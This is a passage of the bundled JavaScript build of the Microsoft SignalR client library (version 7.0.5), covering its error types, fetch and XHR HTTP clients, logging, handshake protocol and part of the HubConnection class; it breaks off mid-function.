(function webpackUniversalModuleDefinition(root, factory) { if(typeof exports === 'object' && typeof module === 'object') module.exports = factory(); else if(typeof define === 'function' && define.amd) define([], factory); else if(typeof exports === 'object') exports["signalR"] = factory(); else root["signalR"] = factory(); })(self, () => { return /******/ (() => { // webpackBootstrap /******/ "use strict"; /******/ // The require scope /******/ var __webpack_require__ = {}; /******/ /************************************************************************/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/global */ /******/ (() => { /******/ __webpack_require__.g = (function() { /******/ if (typeof globalThis === 'object') return globalThis; /******/ try { /******/ return this || new Function('return this')(); /******/ } catch (e) { /******/ if (typeof window === 'object') return window; /******/ } /******/ })(); /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /******/ /* webpack/runtime/make namespace object */ /******/ (() => { /******/ // define __esModule on exports /******/ __webpack_require__.r = (exports) => { /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // ESM COMPAT FLAG __webpack_require__.r(__webpack_exports__); // EXPORTS __webpack_require__.d(__webpack_exports__, { "AbortError": () => (/* reexport */ AbortError), "DefaultHttpClient": () => (/* reexport */ DefaultHttpClient), "HttpClient": () => (/* reexport */ HttpClient), "HttpError": () => (/* reexport */ HttpError), "HttpResponse": () => (/* reexport */ HttpResponse), "HttpTransportType": () => (/* reexport */ HttpTransportType), "HubConnection": () => (/* reexport */ HubConnection), "HubConnectionBuilder": () => (/* reexport */ HubConnectionBuilder), "HubConnectionState": () => (/* reexport */ HubConnectionState), "JsonHubProtocol": () => (/* reexport */ JsonHubProtocol), "LogLevel": () => (/* reexport */ LogLevel), "MessageType": () => (/* reexport */ MessageType), "NullLogger": () => (/* reexport */ NullLogger), "Subject": () => (/* reexport */ Subject), "TimeoutError": () => (/* reexport */ TimeoutError), "TransferFormat": () => (/* reexport */ TransferFormat), "VERSION": () => (/* reexport */ VERSION) }); ;// CONCATENATED MODULE: ./src/Errors.ts // Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. /** Error thrown when an HTTP request fails. */ class HttpError extends Error { /** Constructs a new instance of {@link @microsoft/signalr.HttpError}. * * @param {string} errorMessage A descriptive error message. * @param {number} statusCode The HTTP status code represented by this error. */ constructor(errorMessage, statusCode) { const trueProto = new.target.prototype; super(`${errorMessage}: Status code '${statusCode}'`); this.statusCode = statusCode; // Workaround issue in Typescript compiler // https://github.com/Microsoft/TypeScript/issues/13965#issuecomment-278570200 this.__proto__ = trueProto; } } /** Error thrown when a timeout elapses. */ class TimeoutError extends Error { /** Constructs a new instance of {@link @microsoft/signalr.TimeoutError}. * * @param {string} errorMessage A descriptive error message. */ constructor(errorMessage = "A timeout occurred.") { const trueProto = new.target.prototype; super(errorMessage); // Workaround issue in Typescript compiler // https://github.com/Microsoft/TypeScript/issues/13965#issuecomment-278570200 this.__proto__ = trueProto; } } /** Error thrown when an action is aborted. */ class AbortError extends Error { /** Constructs a new instance of {@link AbortError}. * * @param {string} errorMessage A descriptive error message. */ constructor(errorMessage = "An abort occurred.") { const trueProto = new.target.prototype; super(errorMessage); // Workaround issue in Typescript compiler // https://github.com/Microsoft/TypeScript/issues/13965#issuecomment-278570200 this.__proto__ = trueProto; } } /** Error thrown when the selected transport is unsupported by the browser. */ /** @private */ class UnsupportedTransportError extends Error { /** Constructs a new instance of {@link @microsoft/signalr.UnsupportedTransportError}. * * @param {string} message A descriptive error message. * @param {HttpTransportType} transport The {@link @microsoft/signalr.HttpTransportType} this error occurred on. */ constructor(message, transport) { const trueProto = new.target.prototype; super(message); this.transport = transport; this.errorType = 'UnsupportedTransportError'; // Workaround issue in Typescript compiler // https://github.com/Microsoft/TypeScript/issues/13965#issuecomment-278570200 this.__proto__ = trueProto; } } /** Error thrown when the selected transport is disabled by the browser. */ /** @private */ class DisabledTransportError extends Error { /** Constructs a new instance of {@link @microsoft/signalr.DisabledTransportError}. * * @param {string} message A descriptive error message. * @param {HttpTransportType} transport The {@link @microsoft/signalr.HttpTransportType} this error occurred on. */ constructor(message, transport) { const trueProto = new.target.prototype; super(message); this.transport = transport; this.errorType = 'DisabledTransportError'; // Workaround issue in Typescript compiler // https://github.com/Microsoft/TypeScript/issues/13965#issuecomment-278570200 this.__proto__ = trueProto; } } /** Error thrown when the selected transport cannot be started. */ /** @private */ class FailedToStartTransportError extends Error { /** Constructs a new instance of {@link @microsoft/signalr.FailedToStartTransportError}. * * @param {string} message A descriptive error message. * @param {HttpTransportType} transport The {@link @microsoft/signalr.HttpTransportType} this error occurred on. */ constructor(message, transport) { const trueProto = new.target.prototype; super(message); this.transport = transport; this.errorType = 'FailedToStartTransportError'; // Workaround issue in Typescript compiler // https://github.com/Microsoft/TypeScript/issues/13965#issuecomment-278570200 this.__proto__ = trueProto; } } /** Error thrown when the negotiation with the server failed to complete. */ /** @private */ class FailedToNegotiateWithServerError extends Error { /** Constructs a new instance of {@link @microsoft/signalr.FailedToNegotiateWithServerError}. * * @param {string} message A descriptive error message. */ constructor(message) { const trueProto = new.target.prototype; super(message); this.errorType = 'FailedToNegotiateWithServerError'; // Workaround issue in Typescript compiler // https://github.com/Microsoft/TypeScript/issues/13965#issuecomment-278570200 this.__proto__ = trueProto; } } /** Error thrown when multiple errors have occurred. */ /** @private */ class AggregateErrors extends Error { /** Constructs a new instance of {@link @microsoft/signalr.AggregateErrors}. * * @param {string} message A descriptive error message. * @param {Error[]} innerErrors The collection of errors this error is aggregating. */ constructor(message, innerErrors) { const trueProto = new.target.prototype; super(message); this.innerErrors = innerErrors; // Workaround issue in Typescript compiler // https://github.com/Microsoft/TypeScript/issues/13965#issuecomment-278570200 this.__proto__ = trueProto; } } ;// CONCATENATED MODULE: ./src/HttpClient.ts // Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. /** Represents an HTTP response. */ class HttpResponse { constructor(statusCode, statusText, content) { this.statusCode = statusCode; this.statusText = statusText; this.content = content; } } /** Abstraction over an HTTP client. * * This class provides an abstraction over an HTTP client so that a different implementation can be provided on different platforms. */ class HttpClient { get(url, options) { return this.send({ ...options, method: "GET", url, }); } post(url, options) { return this.send({ ...options, method: "POST", url, }); } delete(url, options) { return this.send({ ...options, method: "DELETE", url, }); } /** Gets all cookies that apply to the specified URL. * * @param url The URL that the cookies are valid for. * @returns {string} A string containing all the key-value cookie pairs for the specified URL. */ // @ts-ignore getCookieString(url) { return ""; } } ;// CONCATENATED MODULE: ./src/ILogger.ts // Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // These values are designed to match the ASP.NET Log Levels since that's the pattern we're emulating here. /** Indicates the severity of a log message. * * Log Levels are ordered in increasing severity. So `Debug` is more severe than `Trace`, etc. */ var LogLevel; (function (LogLevel) { /** Log level for very low severity diagnostic messages. */ LogLevel[LogLevel["Trace"] = 0] = "Trace"; /** Log level for low severity diagnostic messages. */ LogLevel[LogLevel["Debug"] = 1] = "Debug"; /** Log level for informational diagnostic messages. */ LogLevel[LogLevel["Information"] = 2] = "Information"; /** Log level for diagnostic messages that indicate a non-fatal problem. */ LogLevel[LogLevel["Warning"] = 3] = "Warning"; /** Log level for diagnostic messages that indicate a failure in the current operation. */ LogLevel[LogLevel["Error"] = 4] = "Error"; /** Log level for diagnostic messages that indicate a failure that will terminate the entire application. */ LogLevel[LogLevel["Critical"] = 5] = "Critical"; /** The highest possible log level. Used when configuring logging to indicate that no log messages should be emitted. */ LogLevel[LogLevel["None"] = 6] = "None"; })(LogLevel || (LogLevel = {})); ;// CONCATENATED MODULE: ./src/Loggers.ts // Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. /** A logger that does nothing when log messages are sent to it. */ class NullLogger { constructor() { } /** @inheritDoc */ // eslint-disable-next-line log(_logLevel, _message) { } } /** The singleton instance of the {@link @microsoft/signalr.NullLogger}. */ NullLogger.instance = new NullLogger(); ;// CONCATENATED MODULE: ./src/Utils.ts // Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // Version token that will be replaced by the prepack command /** The version of the SignalR client. */ const VERSION = "7.0.5"; /** @private */ class Arg { static isRequired(val, name) { if (val === null || val === undefined) { throw new Error(`The '${name}' argument is required.`); } } static isNotEmpty(val, name) { if (!val || val.match(/^\s*$/)) { throw new Error(`The '${name}' argument should not be empty.`); } } static isIn(val, values, name) { // TypeScript enums have keys for **both** the name and the value of each enum member on the type itself. if (!(val in values)) { throw new Error(`Unknown ${name} value: ${val}.`); } } } /** @private */ class Platform { // react-native has a window but no document so we should check both static get isBrowser() { return typeof window === "object" && typeof window.document === "object"; } // WebWorkers don't have a window object so the isBrowser check would fail static get isWebWorker() { return typeof self === "object" && "importScripts" in self; } // react-native has a window but no document static get isReactNative() { return typeof window === "object" && typeof window.document === "undefined"; } // Node apps shouldn't have a window object, but WebWorkers don't either // so we need to check for both WebWorker and window static get isNode() { return !this.isBrowser && !this.isWebWorker && !this.isReactNative; } } /** @private */ function getDataDetail(data, includeContent) { let detail = ""; if (isArrayBuffer(data)) { detail = `Binary data of length ${data.byteLength}`; if (includeContent) { detail += `. Content: '${formatArrayBuffer(data)}'`; } } else if (typeof data === "string") { detail = `String data of length ${data.length}`; if (includeContent) { detail += `. Content: '${data}'`; } } return detail; } /** @private */ function formatArrayBuffer(data) { const view = new Uint8Array(data); // Uint8Array.map only supports returning another Uint8Array? let str = ""; view.forEach((num) => { const pad = num < 16 ? "0" : ""; str += `0x${pad}${num.toString(16)} `; }); // Trim of trailing space. return str.substr(0, str.length - 1); } // Also in signalr-protocol-msgpack/Utils.ts /** @private */ function isArrayBuffer(val) { return val && typeof ArrayBuffer !== "undefined" && (val instanceof ArrayBuffer || // Sometimes we get an ArrayBuffer that doesn't satisfy instanceof (val.constructor && val.constructor.name === "ArrayBuffer")); } /** @private */ async function sendMessage(logger, transportName, httpClient, url, content, options) { const headers = {}; const [name, value] = getUserAgentHeader(); headers[name] = value; logger.log(LogLevel.Trace, `(${transportName} transport) sending data. ${getDataDetail(content, options.logMessageContent)}.`); const responseType = isArrayBuffer(content) ? "arraybuffer" : "text"; const response = await httpClient.post(url, { content, headers: { ...headers, ...options.headers }, responseType, timeout: options.timeout, withCredentials: options.withCredentials, }); logger.log(LogLevel.Trace, `(${transportName} transport) request complete. Response status: ${response.statusCode}.`); } /** @private */ function createLogger(logger) { if (logger === undefined) { return new ConsoleLogger(LogLevel.Information); } if (logger === null) { return NullLogger.instance; } if (logger.log !== undefined) { return logger; } return new ConsoleLogger(logger); } /** @private */ class SubjectSubscription { constructor(subject, observer) { this._subject = subject; this._observer = observer; } dispose() { const index = this._subject.observers.indexOf(this._observer); if (index > -1) { this._subject.observers.splice(index, 1); } if (this._subject.observers.length === 0 && this._subject.cancelCallback) { this._subject.cancelCallback().catch((_) => { }); } } } /** @private */ class ConsoleLogger { constructor(minimumLogLevel) { this._minLevel = minimumLogLevel; this.out = console; } log(logLevel, message) { if (logLevel >= this._minLevel) { const msg = `[${new Date().toISOString()}] ${LogLevel[logLevel]}: ${message}`; switch (logLevel) { case LogLevel.Critical: case LogLevel.Error: this.out.error(msg); break; case LogLevel.Warning: this.out.warn(msg); break; case LogLevel.Information: this.out.info(msg); break; default: // console.debug only goes to attached debuggers in Node, so we use console.log for Trace and Debug this.out.log(msg); break; } } } } /** @private */ function getUserAgentHeader() { let userAgentHeaderName = "X-SignalR-User-Agent"; if (Platform.isNode) { userAgentHeaderName = "User-Agent"; } return [userAgentHeaderName, constructUserAgent(VERSION, getOsName(), getRuntime(), getRuntimeVersion())]; } /** @private */ function constructUserAgent(version, os, runtime, runtimeVersion) { // Microsoft SignalR/[Version] ([Detailed Version]; [Operating System]; [Runtime]; [Runtime Version]) let userAgent = "Microsoft SignalR/"; const majorAndMinor = version.split("."); userAgent += `${majorAndMinor[0]}.${majorAndMinor[1]}`; userAgent += ` (${version}; `; if (os && os !== "") { userAgent += `${os}; `; } else { userAgent += "Unknown OS; "; } userAgent += `${runtime}`; if (runtimeVersion) { userAgent += `; ${runtimeVersion}`; } else { userAgent += "; Unknown Runtime Version"; } userAgent += ")"; return userAgent; } // eslint-disable-next-line spaced-comment /*#__PURE__*/ function getOsName() { if (Platform.isNode) { switch (process.platform) { case "win32": return "Windows NT"; case "darwin": return "macOS"; case "linux": return "Linux"; default: return process.platform; } } else { return ""; } } // eslint-disable-next-line spaced-comment /*#__PURE__*/ function getRuntimeVersion() { if (Platform.isNode) { return process.versions.node; } return undefined; } function getRuntime() { if (Platform.isNode) { return "NodeJS"; } else { return "Browser"; } } /** @private */ function getErrorString(e) { if (e.stack) { return e.stack; } else if (e.message) { return e.message; } return `${e}`; } /** @private */ function getGlobalThis() { // globalThis is semi-new and not available in Node until v12 if (typeof globalThis !== "undefined") { return globalThis; } if (typeof self !== "undefined") { return self; } if (typeof window !== "undefined") { return window; } if (typeof __webpack_require__.g !== "undefined") { return __webpack_require__.g; } throw new Error("could not find global"); } ;// CONCATENATED MODULE: ./src/FetchHttpClient.ts // Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. class FetchHttpClient extends HttpClient { constructor(logger) { super(); this._logger = logger; if (typeof fetch === "undefined") { // In order to ignore the dynamic require in webpack builds we need to do this magic // @ts-ignore: TS doesn't know about these names const requireFunc = true ? require : 0; // Cookies aren't automatically handled in Node so we need to add a CookieJar to preserve cookies across requests this._jar = new (requireFunc("tough-cookie")).CookieJar(); this._fetchType = requireFunc("node-fetch"); // node-fetch doesn't have a nice API for getting and setting cookies // fetch-cookie will wrap a fetch implementation with a default CookieJar or a provided one this._fetchType = requireFunc("fetch-cookie")(this._fetchType, this._jar); } else { this._fetchType = fetch.bind(getGlobalThis()); } if (typeof AbortController === "undefined") { // In order to ignore the dynamic require in webpack builds we need to do this magic // @ts-ignore: TS doesn't know about these names const requireFunc = true ? require : 0; // Node needs EventListener methods on AbortController which our custom polyfill doesn't provide this._abortControllerType = requireFunc("abort-controller"); } else { this._abortControllerType = AbortController; } } /** @inheritDoc */ async send(request) { // Check that abort was not signaled before calling send if (request.abortSignal && request.abortSignal.aborted) { throw new AbortError(); } if (!request.method) { throw new Error("No method defined."); } if (!request.url) { throw new Error("No url defined."); } const abortController = new this._abortControllerType(); let error; // Hook our abortSignal into the abort controller if (request.abortSignal) { request.abortSignal.onabort = () => { abortController.abort(); error = new AbortError(); }; } // If a timeout has been passed in, setup a timeout to call abort // Type needs to be any to fit window.setTimeout and NodeJS.setTimeout let timeoutId = null; if (request.timeout) { const msTimeout = request.timeout; timeoutId = setTimeout(() => { abortController.abort(); this._logger.log(LogLevel.Warning, `Timeout from HTTP request.`); error = new TimeoutError(); }, msTimeout); } if (request.content === "") { request.content = undefined; } if (request.content) { // Explicitly setting the Content-Type header for React Native on Android platform. request.headers = request.headers || {}; if (isArrayBuffer(request.content)) { request.headers["Content-Type"] = "application/octet-stream"; } else { request.headers["Content-Type"] = "text/plain;charset=UTF-8"; } } let response; try { response = await this._fetchType(request.url, { body: request.content, cache: "no-cache", credentials: request.withCredentials === true ? "include" : "same-origin", headers: { "X-Requested-With": "XMLHttpRequest", ...request.headers, }, method: request.method, mode: "cors", redirect: "follow", signal: abortController.signal, }); } catch (e) { if (error) { throw error; } this._logger.log(LogLevel.Warning, `Error from HTTP request. ${e}.`); throw e; } finally { if (timeoutId) { clearTimeout(timeoutId); } if (request.abortSignal) { request.abortSignal.onabort = null; } } if (!response.ok) { const errorMessage = await deserializeContent(response, "text"); throw new HttpError(errorMessage || response.statusText, response.status); } const content = deserializeContent(response, request.responseType); const payload = await content; return new HttpResponse(response.status, response.statusText, payload); } getCookieString(url) { let cookies = ""; if (Platform.isNode && this._jar) { // @ts-ignore: unused variable this._jar.getCookies(url, (e, c) => cookies = c.join("; ")); } return cookies; } } function deserializeContent(response, responseType) { let content; switch (responseType) { case "arraybuffer": content = response.arrayBuffer(); break; case "text": content = response.text(); break; case "blob": case "document": case "json": throw new Error(`${responseType} is not supported.`); default: content = response.text(); break; } return content; } ;// CONCATENATED MODULE: ./src/XhrHttpClient.ts // Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. class XhrHttpClient extends HttpClient { constructor(logger) { super(); this._logger = logger; } /** @inheritDoc */ send(request) { // Check that abort was not signaled before calling send if (request.abortSignal && request.abortSignal.aborted) { return Promise.reject(new AbortError()); } if (!request.method) { return Promise.reject(new Error("No method defined.")); } if (!request.url) { return Promise.reject(new Error("No url defined.")); } return new Promise((resolve, reject) => { const xhr = new XMLHttpRequest(); xhr.open(request.method, request.url, true); xhr.withCredentials = request.withCredentials === undefined ? true : request.withCredentials; xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest"); if (request.content === "") { request.content = undefined; } if (request.content) { // Explicitly setting the Content-Type header for React Native on Android platform. if (isArrayBuffer(request.content)) { xhr.setRequestHeader("Content-Type", "application/octet-stream"); } else { xhr.setRequestHeader("Content-Type", "text/plain;charset=UTF-8"); } } const headers = request.headers; if (headers) { Object.keys(headers) .forEach((header) => { xhr.setRequestHeader(header, headers[header]); }); } if (request.responseType) { xhr.responseType = request.responseType; } if (request.abortSignal) { request.abortSignal.onabort = () => { xhr.abort(); reject(new AbortError()); }; } if (request.timeout) { xhr.timeout = request.timeout; } xhr.onload = () => { if (request.abortSignal) { request.abortSignal.onabort = null; } if (xhr.status >= 200 && xhr.status < 300) { resolve(new HttpResponse(xhr.status, xhr.statusText, xhr.response || xhr.responseText)); } else { reject(new HttpError(xhr.response || xhr.responseText || xhr.statusText, xhr.status)); } }; xhr.onerror = () => { this._logger.log(LogLevel.Warning, `Error from HTTP request. ${xhr.status}: ${xhr.statusText}.`); reject(new HttpError(xhr.statusText, xhr.status)); }; xhr.ontimeout = () => { this._logger.log(LogLevel.Warning, `Timeout from HTTP request.`); reject(new TimeoutError()); }; xhr.send(request.content); }); } } ;// CONCATENATED MODULE: ./src/DefaultHttpClient.ts // Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. /** Default implementation of {@link @microsoft/signalr.HttpClient}. */ class DefaultHttpClient extends HttpClient { /** Creates a new instance of the {@link @microsoft/signalr.DefaultHttpClient}, using the provided {@link @microsoft/signalr.ILogger} to log messages. */ constructor(logger) { super(); if (typeof fetch !== "undefined" || Platform.isNode) { this._httpClient = new FetchHttpClient(logger); } else if (typeof XMLHttpRequest !== "undefined") { this._httpClient = new XhrHttpClient(logger); } else { throw new Error("No usable HttpClient found."); } } /** @inheritDoc */ send(request) { // Check that abort was not signaled before calling send if (request.abortSignal && request.abortSignal.aborted) { return Promise.reject(new AbortError()); } if (!request.method) { return Promise.reject(new Error("No method defined.")); } if (!request.url) { return Promise.reject(new Error("No url defined.")); } return this._httpClient.send(request); } getCookieString(url) { return this._httpClient.getCookieString(url); } } ;// CONCATENATED MODULE: ./src/TextMessageFormat.ts // Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // Not exported from index /** @private */ class TextMessageFormat { static write(output) { return `${output}${TextMessageFormat.RecordSeparator}`; } static parse(input) { if (input[input.length - 1] !== TextMessageFormat.RecordSeparator) { throw new Error("Message is incomplete."); } const messages = input.split(TextMessageFormat.RecordSeparator); messages.pop(); return messages; } } TextMessageFormat.RecordSeparatorCode = 0x1e; TextMessageFormat.RecordSeparator = String.fromCharCode(TextMessageFormat.RecordSeparatorCode); ;// CONCATENATED MODULE: ./src/HandshakeProtocol.ts // Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. /** @private */ class HandshakeProtocol { // Handshake request is always JSON writeHandshakeRequest(handshakeRequest) { return TextMessageFormat.write(JSON.stringify(handshakeRequest)); } parseHandshakeResponse(data) { let messageData; let remainingData; if (isArrayBuffer(data)) { // Format is binary but still need to read JSON text from handshake response const binaryData = new Uint8Array(data); const separatorIndex = binaryData.indexOf(TextMessageFormat.RecordSeparatorCode); if (separatorIndex === -1) { throw new Error("Message is incomplete."); } // content before separator is handshake response // optional content after is additional messages const responseLength = separatorIndex + 1; messageData = String.fromCharCode.apply(null, Array.prototype.slice.call(binaryData.slice(0, responseLength))); remainingData = (binaryData.byteLength > responseLength) ? binaryData.slice(responseLength).buffer : null; } else { const textData = data; const separatorIndex = textData.indexOf(TextMessageFormat.RecordSeparator); if (separatorIndex === -1) { throw new Error("Message is incomplete."); } // content before separator is handshake response // optional content after is additional messages const responseLength = separatorIndex + 1; messageData = textData.substring(0, responseLength); remainingData = (textData.length > responseLength) ? textData.substring(responseLength) : null; } // At this point we should have just the single handshake message const messages = TextMessageFormat.parse(messageData); const response = JSON.parse(messages[0]); if (response.type) { throw new Error("Expected a handshake response from the server."); } const responseMessage = response; // multiple messages could have arrived with handshake // return additional data to be parsed as usual, or null if all parsed return [remainingData, responseMessage]; } } ;// CONCATENATED MODULE: ./src/IHubProtocol.ts // Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. /** Defines the type of a Hub Message. */ var MessageType; (function (MessageType) { /** Indicates the message is an Invocation message and implements the {@link @microsoft/signalr.InvocationMessage} interface. */ MessageType[MessageType["Invocation"] = 1] = "Invocation"; /** Indicates the message is a StreamItem message and implements the {@link @microsoft/signalr.StreamItemMessage} interface. */ MessageType[MessageType["StreamItem"] = 2] = "StreamItem"; /** Indicates the message is a Completion message and implements the {@link @microsoft/signalr.CompletionMessage} interface. */ MessageType[MessageType["Completion"] = 3] = "Completion"; /** Indicates the message is a Stream Invocation message and implements the {@link @microsoft/signalr.StreamInvocationMessage} interface. */ MessageType[MessageType["StreamInvocation"] = 4] = "StreamInvocation"; /** Indicates the message is a Cancel Invocation message and implements the {@link @microsoft/signalr.CancelInvocationMessage} interface. */ MessageType[MessageType["CancelInvocation"] = 5] = "CancelInvocation"; /** Indicates the message is a Ping message and implements the {@link @microsoft/signalr.PingMessage} interface. */ MessageType[MessageType["Ping"] = 6] = "Ping"; /** Indicates the message is a Close message and implements the {@link @microsoft/signalr.CloseMessage} interface. */ MessageType[MessageType["Close"] = 7] = "Close"; })(MessageType || (MessageType = {})); ;// CONCATENATED MODULE: ./src/Subject.ts // Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. /** Stream implementation to stream items to the server. */ class Subject { constructor() { this.observers = []; } next(item) { for (const observer of this.observers) { observer.next(item); } } error(err) { for (const observer of this.observers) { if (observer.error) { observer.error(err); } } } complete() { for (const observer of this.observers) { if (observer.complete) { observer.complete(); } } } subscribe(observer) { this.observers.push(observer); return new SubjectSubscription(this, observer); } } ;// CONCATENATED MODULE: ./src/HubConnection.ts // Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. const DEFAULT_TIMEOUT_IN_MS = 30 * 1000; const DEFAULT_PING_INTERVAL_IN_MS = 15 * 1000; /** Describes the current state of the {@link HubConnection} to the server. */ var HubConnectionState; (function (HubConnectionState) { /** The hub connection is disconnected. */ HubConnectionState["Disconnected"] = "Disconnected"; /** The hub connection is connecting. */ HubConnectionState["Connecting"] = "Connecting"; /** The hub connection is connected. */ HubConnectionState["Connected"] = "Connected"; /** The hub connection is disconnecting. */ HubConnectionState["Disconnecting"] = "Disconnecting"; /** The hub connection is reconnecting. */ HubConnectionState["Reconnecting"] = "Reconnecting"; })(HubConnectionState || (HubConnectionState = {})); /** Represents a connection to a SignalR Hub. */ class HubConnection { constructor(connection, logger, protocol, reconnectPolicy) { this._nextKeepAlive = 0; this._freezeEventListener = () => { this._logger.log(LogLevel.Warning, "The page is being frozen, this will likely lead to the connection being closed and messages being lost. For more information see the docs at https://docs.microsoft.com/aspnet/core/signalr/javascript-client#bsleep"); }; Arg.isRequired(connection, "connection"); Arg.isRequired(logger, "logger"); Arg.isRequired(protocol, "protocol"); this.serverTimeoutInMilliseconds = DEFAULT_TIMEOUT_IN_MS; this.keepAliveIntervalInMilliseconds = DEFAULT_PING_INTERVAL_IN_MS; this._logger = logger; this._protocol = protocol; this.connection = connection; this._reconnectPolicy = reconnectPolicy; this._handshakeProtocol = new HandshakeProtocol(); this.connection.onreceive = (data) => this._processIncomingData(data); this.connection.onclose = (error) => this._connectionClosed(error); this._callbacks = {}; this._methods = {}; this._closedCallbacks = []; this._reconnectingCallbacks = []; this._reconnectedCallbacks = []; this._invocationId = 0; this._receivedHandshakeResponse = false; this._connectionState = HubConnectionState.Disconnected; this._connectionStarted = false; this._cachedPingMessage = this._protocol.writeMessage({ type: MessageType.Ping }); } /** @internal */ // Using a public static factory method means we can have a private constructor and an _internal_ // create method that can be used by HubConnectionBuilder. An "internal" constructor would just // be stripped away and the '.d.ts' file would have no constructor, which is interpreted as a // public parameter-less constructor. static create(connection, logger, protocol, reconnectPolicy) { return new HubConnection(connection, logger, protocol, reconnectPolicy); } /** Indicates the state of the {@link HubConnection} to the server. */ get state() { return this._connectionState; } /** Represents the connection id of the {@link HubConnection} on the server. The connection id will be null when the connection is either * in the disconnected state or if the negotiation step was skipped. */ get connectionId() { return this.connection ? (this.connection.connectionId || null) : null; } /** Indicates the url of the {@link HubConnection} to the server. */ get baseUrl() { return this.connection.baseUrl || ""; } /** * Sets a new url for the HubConnection. Note that the url can only be changed when the connection is in either the Disconnected or * Reconnecting states. * @param {string} url The url to connect to. */ set baseUrl(url) { if (this._connectionState !== HubConnectionState.Disconnected && this._connectionState !== HubConnectionState.Reconnecting) { throw new Error("The HubConnection must be in the Disconnected or Reconnecting state to change the url."); } if (!url) { throw new Error("The HubConnection url must be a valid url."); } this.connection.baseUrl = url; } /** Starts the connection. * * @returns {Promise} A Promise that resolves when the connection has been successfully established, or rejects with an error. */ start() { this._startPromise = this._startWithStateTransitions(); return this._startPromise; } async _startWithStateTransitions() { if (this._connectionState !== HubConnectionState.Disconnected) { return Promise.reject(new Error("Cannot start a HubConnection that is not in the 'Disconnected' state.")); } this._connectionState = HubConnectionState.Connecting; this._logger.log(LogLevel.Debug, "Starting HubConnection."); try { await this._startInternal(); if (Platform.isBrowser) { // Log when the browser freezes the tab so users know why their connection unexpectedly stopped working window.document.addEventListener("freeze", this._freezeEventListener); } this._connectionState = HubConnectionState.Connected; this._connectionStarted = true; this._logger.log(LogLevel.Debug, "HubConnection connected successfully."); } catch (e) { this._connectionState = HubConnectionState.Disconnected; this._logger.log(LogLevel.Debug, `HubConnection failed to start successfully because of error '${e}'.`); return Promise.reject(e); } } async _startInternal() { this._stopDuringStartError = undefined; this._receivedHandshakeResponse = false; // Set up the promise before any connection is (re)started otherwise it could race with received messages const handshakePromise = new Promise((resolve, reject) => { this._handshakeResolver = resolve; this._handshakeRejecter = reject; }); await this.connection.start(this._protocol.transferFormat); try { const handshakeRequest = { protocol: this._protocol.name, version: this._protocol.version, }; this._logger.log(LogLevel.Debug, "Sending handshake request."); await this._sendMessage(this._handshakeProtocol.writeHandshakeRequest(handshakeRequest)); this._logger.log(LogLevel.Information, `Using HubProtocol '${this._protocol.name}'.`); // defensively cleanup timeout in case we receive a message from the server before we finish start this._cleanupTimeout(); this._resetTimeoutPeriod(); this._resetKeepAliveInterval(); await handshakePromise; // It's important to check the stopDuringStartError instead of just relying on the handshakePromise // being rejected on close, because this continuation can run after both the handshake completed successfully // and the connection was closed. if (this._stopDuringStartError) { // It's important to throw instead of returning a rejected promise, because we don't want to allow any state // transitions to occur between now and the calling code observing the exceptions. Returning a rejected promise // will cause the calling continuation to get scheduled to run later. // eslint-disable-next-line @typescript-eslint/no-throw-literal throw this._stopDuringStartError; } if (!this.connection.features.inherentKeepAlive) { await this._sendMessage(this._cachedPingMessage); } } catch (e) { this._logger.log(LogLevel.Debug, `Hub handshake failed with error '${e}' during start(). Stopping HubConnection.`); this._cleanupTimeout(); this._cleanupPingTimer(); // HttpConnection.stop() should not complete until after the onclose callback is invoked. // This will transition the HubConnection to the disconnected state before HttpConnection.stop() completes. await this.connection.stop(e); throw e; } } /** Stops the connection. * * @returns {Promise} A Promise that resolves when the connection has been successfully terminated, or rejects with an error. */ async stop() { // Capture the start promise before the connection might be restarted in an onclose callback. const startPromise = this._startPromise; this._stopPromise = this._stopInternal(); await this._stopPromise; try { // Awaiting undefined continues immediately await startPromise; } catch (e) { // This exception is returned to the user as a rejected Promise from the start method. } } _stopInternal(error) { if (this._connectionState === HubConnectionState.Disconnected) { this._logger.log(LogLevel.Debug, `Call to HubConnection.stop(${error}) ignored because it is already in the disconnected state.`); return Promise.resolve(); } if (this._connectionState === HubConnectionState.Disconnecting) { this._logger.log(LogLevel.Debug, `Call to HttpConnection.stop(${error}) ignored because the connection is already in the disconnecting state.`); return this._stopPromise; } this._connectionState = HubConnectionState.Disconnecting; this._logger.log(LogLevel.Debug, "Stopping HubConnection."); if (this._reconnectDelayHandle) { // We're in a reconnect delay which means the underlying connection is currently already stopped. // Just clear the handle to stop the reconnect loop (which no one is waiting on thankfully) and // fire the onclose callbacks. this._logger.log(LogLevel.Debug, "Connection stopped during reconnect delay. Done reconnecting."); clearTimeout(this._reconnectDelayHandle); 